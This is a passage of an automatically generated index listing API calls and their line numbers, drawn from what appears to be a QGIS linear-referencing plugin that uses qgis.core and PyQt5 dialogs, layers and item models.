"qgis.core.QgsCoordinateReferenceSystem", "line_number": 2485, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2485, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsCoordinateTransformContext", "line_number": 2486, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2486, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2491, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2503, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2504, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2505, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2506, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2519, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2519, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2519, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2519, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2522, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2522, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2522, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2522, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2526, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2526, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2526, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2526, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2528, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2528, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2528, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2541, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2541, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_unique_layer_name", "line_number": 2542, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 2542, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 2542, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QInputDialog.getText", "line_number": 2545, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QInputDialog", "line_number": 2545, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2545, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 2545, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2545, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2545, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2545, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 2545, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QVariant", "line_number": 2564, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2564, "usage_type": "name"}, {"api_name": "qgis.core.QgsVectorLayer", "line_number": 2598, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2598, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsVectorLayerJoinInfo", "line_number": 2601, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2601, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsVectorLayerJoinInfo", "line_number": 2608, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2608, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 2633, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QColor", "line_number": 2635, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 2635, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2640, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2640, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2648, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2648, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2648, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2651, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2651, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2651, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2653, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2653, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2653, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2655, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2655, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2655, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.question", "line_number": 2700, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2700, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2700, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 2702, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2703, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2703, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2703, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2703, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2704, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2704, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2705, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2705, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2708, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2708, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2710, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2710, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2714, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2714, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2714, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2728, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2728, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2728, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2728, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2732, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2732, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2732, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2732, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2734, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2734, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2734, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2734, "usage_type": "name"}, {"api_name": "qgis.core.QgsFeature", "line_number": 2738, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2738, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 2743, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 2743, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 2743, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QVariant", "line_number": 2759, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2759, "usage_type": "name"}, {"api_name": "qgis.core.QgsVectorLayerUtils.getValues", "line_number": 2764, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2764, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 2779, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 2779, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 2779, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2785, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2785, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2785, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2785, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2788, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2788, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2788, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2788, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2797, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2797, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2797, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2797, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2803, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2803, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2803, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2803, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2806, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2806, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2806, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2813, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2813, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2813, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2813, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.question", "line_number": 2842, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2842, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2842, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 2844, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2845, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2845, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2845, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2845, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2846, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2846, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2847, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2847, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2850, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2850, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2852, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2852, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2857, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2857, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2857, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.question", "line_number": 2863, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2863, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2863, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 2865, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2866, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2866, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2866, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2866, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2867, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2867, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2868, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2868, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 2871, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 2871, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2877, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2877, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2877, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2877, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyDebugFunctions.get_debug_pos", "line_number": 2886, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2890, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2890, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2890, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2893, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2893, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2893, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2893, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2896, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2896, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2896, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2920, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2920, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2927, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2927, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2933, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2933, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2938, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2938, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2940, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2940, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2942, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2942, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2944, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2944, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2949, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2949, "usage_type": "attribute"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 2951, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 2951, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.qt_format", "line_number": 2977, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication.translate", "line_number": 2977, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 2977, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 2977, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QVariant", "line_number": 3000, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3000, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QVariant", "line_number": 3001, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3001, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QVariant", "line_number": 3002, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3002, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_data_layers", "line_number": 3005, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3005, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3005, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_linestring_layers", "line_number": 3006, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3006, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3006, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_point_layers", "line_number": 3007, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3007, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3007, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3082, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3082, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3082, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3085, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3085, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3085, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3100, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3100, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3100, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_feature_by_value", "line_number": 3103, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3103, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3103, "usage_type": "name"}, {"api_name": "qgis.core", "line_number": 3148, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 3153, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 3158, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3164, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3164, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3166, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3166, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3168, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3168, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 3170, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3170, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.select_by_value", "line_number": 3201, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3201, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3201, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.select_by_value", "line_number": 3202, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3202, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3202, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.select_by_value", "line_number": 3203, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3203, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3203, "usage_type": "name"}, {"api_name": "LinearReferencing.tools.MyToolFunctions.get_linestring_layers", "line_number": 3238, "usage_type": "call"}, {"api_name": "LinearReferencing.tools.MyToolFunctions", "line_number": 3238, "usage_type": "attribute"}, {"api_name": "LinearReferencing.tools", "line_number": 3238, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QVariant", "line_number": 3239, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3239, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QVariant", "line_number": 3240, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3240, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QVariant", "line_number": 3241, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 3241, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 3244, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3244, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 3245, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3245, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3248, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3248, "usage_type": "name"}, {"api_name": "qgis.core", "line_number": 3251, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3252, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3252, "usage_type": "name"}, {"api_name": "qgis.core.QgsWkbTypes.displayString", "line_number": 3252, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3252, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3254, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3254, "usage_type": "name"}, {"api_name": "qgis.core", "line_number": 3256, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3257, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3257, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3259, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3259, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 3268, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3268, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3271, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3271, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3275, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3275, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 3277, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3277, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3278, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3278, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 3289, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3289, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 3292, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3292, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3295, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3295, "usage_type": "name"}, {"api_name": "qgis.core", "line_number": 3297, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 3298, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3299, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3299, "usage_type": "name"}, {"api_name": "qgis.core.QgsWkbTypes.displayString", "line_number": 3299, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3299, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3301, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3301, "usage_type": "name"}, {"api_name": "qgis.core", "line_number": 3303, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3304, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3304, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3306, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3306, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 3318, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3318, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3321, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3321, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3325, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3325, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 3327, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3327, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3328, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3328, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 3339, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3339, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3341, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3341, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3352, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3352, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 3354, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3354, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3355, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3355, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 3366, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3366, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3368, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3368, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3378, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3378, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 3380, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3380, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3381, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3381, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 3391, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3391, "usage_type": "name"}, {"api_name": "qgis.core.QgsProject.instance", "line_number": 3392, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3392, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3395, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3395, "usage_type": "name"}, {"api_name": "qgis.core", "line_number": 3407, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 3408, "usage_type": "attribute"}, {"api_name": "qgis.core", "line_number": 3420, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 3421, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 3421, "usage_type": "name"}, {"api_name": "qgis.core.QgsWkbTypes.displayString", "line_number": 3421, "usage_type": "call"}, {"api_name": "qgis.core", "line_number": 3421, "usage_type": "attribute"}, {"api_name": 